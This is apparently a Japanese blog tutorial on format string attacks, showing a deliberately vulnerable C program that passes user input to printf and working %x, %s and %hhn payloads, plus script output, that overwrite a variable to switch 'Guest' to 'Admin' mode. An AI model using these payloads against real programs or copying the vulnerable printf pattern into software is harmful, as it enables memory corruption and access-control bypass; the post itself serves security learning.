Format String Attack でメモリの中身を書き換える Mac OS X 10.10
読むやつ: Format String Attack でメモリの内容を読み出す Mac OS X 10.10 - sekai013's blog
// writemem.c #include <stdio.h> #include <string.h> char mode[] = "Guest"; int main() { char buf[1024]; printf("Enter Your Name: "); fgets(buf, sizeof(buf), stdin); printf("Hello, "); printf(buf); printf("%s Mode\n", mode); if (strncmp(mode, "Admin", sizeof(mode)) == 0) { printf("something secret..."); } else { printf("Address: %p\n", mode); } }
こういう感じで外部入力を printf
の第1引数にそのまま持ってきたりするとメモリの中身を読めてしまうという話だった.
% gcc writemem.c -o writemem -m32 -Wl,-no_pie writemem.c:13:10: warning: format string is not a string literal (potentially insecure) % echo "aaaa %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x" | ./writemem Enter Your Name: Hello, aaaa 400 a079a04c 0 0 0 0 0 0 7 bffff6b8 400 11 1db0 61616161 20782520 25207825 78252078 20782520 Guest Mode Address: 0x2020 % python -c 'print "%16$s \x20\x20\x00\x00"' | ./writemem Enter Your Name: Hello, Guest Guest Mode <- Hello のところで mode の中身が読めている Address: 0x2020
メモリへの書き込みもできる. 書き込みには %n
という, 指定したアドレスに, 今まで出力したバイト数を書き込む指定子を利用する.
%hhn
を使うと, 書き込むバイト数が char 型とみなされて1バイト書き込む. なんなんだこの指定子は... 攻撃以外でどう使うんだ...
今まで書き込んだバイト数は %<byte>c
で調整する.
例えば mode の先頭の G を A (= 0x41 = 65) に置き換えるにはこんな調子でやればいい.
% python -c 'print "%65c%17$hhn \x20\x20\x00\x00"' | ./writemem Enter Your Name: Hello, Auest Mode <- 書き換え成功 Address: 0x2020
2文字書き換えるときはこれを繰り返す. A のうしろに d (= 0x64 = 100) を書き込むには 0x41 バイト出力したところからさらに 0x100 - 0x41 + 0x64 = 0x123 = 291 バイト書き込めばOK.
% python -c 'print "%65c%20$hhn%291c%21$hhn \x20\x20\x00\x00\x21\x20\x00\x00"' | ./writemem Enter Your Name: Hello, ! Adest Mode Address: 0x2020
雑にスクリプトを書いた.
% ruby overwrite.rb writemem 0x2020 Admin 14 Format String: %65c%29$hhn%291c%30$hhn%265c%31$hhn%252c%32$hhn%261c%33$hhn \x20\x20\x00\x00\x21\x20\x00\x00\x22\x20\x00\x00\x23\x20\x00\x00\x24\x20\x00\x00 Exec ./writemem... ===================================================================================== Enter Your Name: Hello, $ Admin Mode something secret... ===================================================================================== Done.
mode の中身を書き換えて Admin Mode に入れた. やったぜ.